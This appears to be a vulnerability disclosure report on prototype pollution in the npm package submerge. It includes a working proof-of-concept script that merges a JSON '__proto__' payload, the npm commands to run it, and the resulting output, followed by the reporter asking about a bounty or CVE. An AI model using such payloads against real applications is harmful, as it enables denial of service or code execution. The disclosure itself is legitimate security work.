Prototype pollution in konfirm/node-submerge
Reported on
Aug 21st 2022
Description
submerge
is vulnerable to Prototype Pollution. This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.
Proof of Concept
Create the following PoC file:
// poc.js
var merge = require("submerge")
let obj = {}
let payload = JSON.parse('{"__proto__":{"polluted":"Yes! Its Polluted"}}')
console.log("Before : " + {}.polluted);
merge(obj, payload);
console.log("After : " + {}.polluted);
Execute the following commands in another terminal:
npm i submerge # Install affected module
node poc.js # Run the PoC
Check the Output:
Before : undefined
After : Yes! Its Polluted
Impact
May result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.
SECURITY.md
a year ago
I'm glad that I could help in making your repo more secure Isn't there any bounty for this report? or at least a CVE? of course if it's possible for you, I would be really grateful